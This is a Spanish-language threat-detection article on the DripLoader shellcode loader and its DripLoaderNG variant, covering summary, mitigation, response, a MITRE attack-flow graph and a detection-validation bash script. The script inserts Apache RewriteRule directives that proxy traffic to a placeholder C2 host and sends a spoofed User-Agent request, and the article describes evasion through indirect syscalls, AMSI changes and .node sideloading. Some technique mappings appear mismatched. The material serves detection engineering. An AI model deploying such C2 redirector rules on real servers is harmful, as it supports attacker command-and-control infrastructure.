SOC Prime Bias: Medio

27 Nov 2025 19:23

Malware DripLoader: Ejecución de Shellcode y Evasión de Defensa

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Malware DripLoader: Ejecución de Shellcode y Evasión de Defensa
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El artículo examina DripLoader, un cargador de shellcode que asigna memoria, escribe shellcode en ella, cambia los permisos de la página a ejecutable y luego lo ejecuta. Cubre cómo se entrega el cargador a través de un redireccionador HTTPS respaldado por el marco Havoc C2, y cómo su código puede ser ofuscado con compresión y llamadas de sistema indirectas. El escrito también presenta una variante mejorada, DripLoaderNG, que se basa en la carga lateral .node y trucos de evasión adicionales, junto con orientación práctica de detección y herramientas de análisis de memoria.

Investigación

La investigación describe una configuración de laboratorio donde Havoc envía shellcode comprimido a través de un redireccionador Apache adaptado. El cargador reserva regiones de 64 KB, compromete páginas de 4 KB, modifica banderas de protección y ejecuta la carga útil. DripLoaderNG introduce llamadas de sistema indirectas y carga lateral de módulos .node dirigidas a la aplicación Electron de Slack. La detección se muestra utilizando herramientas como Moneta, PE-sieve y consultas KQL de soporte.

Mitigación

Los pasos de mitigación incluyen monitorear redireccionamientos HTTPS sospechosos, detectar cadenas de agente de usuario falsificadas, señalar archivos .node raros y aprovechar las funciones EDR para identificar comportamientos de llamadas de sistema indirectas. Otras recomendaciones incluyen ajustar configuraciones de Sliver/Donut para reducir manipulación AMSI y limitar la ejecución de módulos nativos no firmados.

Respuesta

Cuando se detecta actividad, aísle el endpoint afectado, detenga el proceso ofensivo, capture volcados de memoria e inspeccione el shellcode inyectado. Bloquee el dominio o IP de C2, restablezca credenciales expuestas y despliegue reglas defensivas para el agente de usuario específico e indicadores de archivo .node. Siga con un análisis forense y actualice el contenido de detección para cubrir patrones de llamadas de sistema indirectas observados.

mermaid graph TB %% Definición de Clases classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Nodos de Técnicas step_initial_access[«<b>Técnica</b> – <b>T1090 Proxy</b><br /><b>Descripción</b>: Usa redireccionamientos HTTPS y un User-Agent falsificado para entregar cargas maliciosas y establecer comunicaciones de mando y control sobre el tráfico web.»] class step_initial_access technique step_c2[«<b>Técnica</b> – <b>T1102.002 Servicio Web: Comunicación Bidireccional</b><br /><b>Descripción</b>: Se comunica con el atacante a través de servicios web HTTPS, habilitando comando y control bidireccional.»] class step_c2 technique step_obfusc_compress[«<b>Técnica</b> – <b>T1027.015 Compresión</b><br /><b>Descripción</b>: La carga se comprime con LZMS para ocultar su contenido del análisis estático y defensas basadas en firmas.»] class step_obfusc_compress technique step_obfusc_compile[«<b>Técnica</b> – <b>T1027.004 Compilar Después de la Entrega</b><br /><b>Descripción</b>: La carga se compila después de la entrega para evadir aún más la detección.»] class step_obfusc_compile technique step_process_injection[«<b>Técnica</b> – <b>T1055.002 Inyección de Ejecutable Portátil</b><br /><b>Descripción</b>: DripLoader asigna memoria virtual, copia shellcode, cambia protecciones de página y lo ejecuta dentro de un proceso legítimo.»] class step_process_injection technique step_reflective_loading[«<b>Técnica</b> – <b>T1620 Carga de Código Reflectivo</b><br /><b>Descripción</b>: El cargador refleja el shellcode copiado en la memoria y lo ejecuta sin usar el cargador del sistema operativo.»] class step_reflective_loading technique step_dll_injection[«<b>Técnica</b> – <b>T1055.001 Inyección de Biblioteca de Enlace Dinámico</b><br /><b>Descripción</b>: Módulo .node malicioso (un DLL) se carga lateralmente en el proceso de Slack, permitiendo ejecución de código bajo una aplicación confiable.»] class step_dll_injection technique step_persistence[«<b>Técnica</b> – <b>T1546.009 DLLs de Certificación de Aplicaciones</b><br /><b>Descripción</b>: El DLL cargado lateralmente persiste registrándose como un DLL de Certificación de Aplicaciones, asegurando ejecución al iniciar el sistema.»] class step_persistence technique step_evasion_cred_api[«<b>Técnica</b> – <b>T1056.004 Hooking de API de Credenciales</b><br /><b>Descripción</b>: Usa llamadas de sistema indirectas para llamar a APIs nativas de Windows, eludiendo ganchos EDR en modo usuario.»] class step_evasion_cred_api technique step_evasion_indicator_removal[«<b>Técnica</b> – <b>T1027.005 Eliminación de Indicadores de Herramientas</b><br /><b>Descripción</b>: Modifica configuración de Sliver/Donut para deshabilitar parcheo AMSI, previniendo detección por motores antimalware.»] class step_evasion_indicator_removal technique step_evasion_stripped[«<b>Técnica</b> – <b>T1027.008 Payloads Despojados</b><br /><b>Descripción</b>: Elimina información de depuración y metadatos del payload para reducir artefactos forenses.»] class step_evasion_stripped technique step_masquerade[«<b>Técnica</b> – <b>T1036.008 Mascarar Tipo de Archivo</b><br /><b>Descripción</b>: Renombra el archivo .node malicioso para que parezca un módulo nativo legítimo, mezclándose con los archivos de aplicación esperados.»] class step_masquerade technique step_server_component[«<b>Técnica</b> – <b>T1505.003 Componente de Software de Servidor: Shell Web</b><br /><b>Descripción</b>: Transfiere shellcode y binarios del cargador a través del redireccionador web, luego los descomprime y ejecuta en el objetivo.»] class step_server_component technique %% Nodos de Operadores op_obfusc((«AND»)) class op_obfusc operator op_evasion((«AND»)) class op_evasion operator %% Conexiones step_initial_access u002du002d>|conduce_a| step_c2 step_c2 u002du002d>|conduce_a| step_obfusc_compress step_c2 u002du002d>|conduce_a| step_obfusc_compile step_obfusc_compress u002du002d>|parte_de| op_obfusc step_obfusc_compile u002du002d>|parte_de| op_obfusc op_obfusc u002du002d>|conduce_a| step_process_injection step_process_injection u002du002d>|conduce_a| step_reflective_loading step_reflective_loading u002du002d>|conduce_a| step_dll_injection step_dll_injection u002du002d>|conduce_a| step_persistence step_persistence u002du002d>|conduce_a| step_evasion_cred_api step_persistence u002du002d>|conduce_a| step_evasion_indicator_removal step_persistence u002du002d>|conduce_a| step_evasion_stripped step_evasion_cred_api u002du002d>|parte_de| op_evasion step_evasion_indicator_removal u002du002d>|parte_de| op_evasion step_evasion_stripped u002du002d>|parte_de| op_evasion op_evasion u002du002d>|conduce_a| step_masquerade step_masquerade u002du002d>|conduce_a| step_server_component

Flujo de Ataque

Ejecución de Simulación

Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber sido aprobada.

Razón: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico incorrecto.

  • Narrativa de Ataque y Comandos:
    Un operador de la infraestructura maliciosa prepara el servidor web víctima para actuar como un conducto hacia el servidor C2. Insertan dos RewriteRule directivas en la configuración del host virtual de Apache: una que proxy todo el tráfico entrante a https://C2.TeamServer.IP:443 ([P] con bandera) y la segunda que redirige cualquier solicitud a una URL benigna de Google ([L,R=302]). Después de recargar Apache, el atacante emite una solicitud HTTP ejecutada con la cadena exacta de User-Agent falsa definida en la regla de Sigma. Apache procesa la solicitud, registra el User-Agent, y el motor de reescritura graba la acción de proxy, satisfaciendo ambas condiciones de detección.

  • Script de Prueba de Regresión:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Script de validación de detección de DripLoader
    # -------------------------------------------------
    
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    
    # 1. Respalda la configuración actual
    sudo cp "$APACHE_CONF" "$BACKUP_CONF"
    
    # 2. Inserta reglas maliciosas de reescritura
    sudo bash -c "cat >> $APACHE_CONF <<'EOF'
    
    # INICIO Reglas de Prueba de DripLoader
    RewriteEngine On
    RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P]
    RewriteRule ^.*$ "https://www.google.com" [L,R=302]
    # FIN Reglas de Prueba de DripLoader
    
    EOF"
    
    # 3. Recarga Apache para aplicar los cambios
    sudo systemctl reload apache2
    
    # 4. Emite solicitud maliciosa con el exacto User‑Agent fabricado
    curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.366" http://localhost/
    
    echo "Solicitud maliciosa enviada. Verifique SIEM para alerta de detección."
  • Comandos de Limpieza:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Limpieza de validación de detección de DripLoader
    # -------------------------------------------------
    
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    
    # Restaura la configuración original
    if [[ -f "$BACKUP_CONF" ]]; then
        sudo cp "$BACKUP_CONF" "$APACHE_CONF"
        sudo systemctl reload apache2
        echo "Configuración original de Apache restaurada."
    else
        echo "Respaldo no encontrado; puede ser necesario limpieza manual."
    fi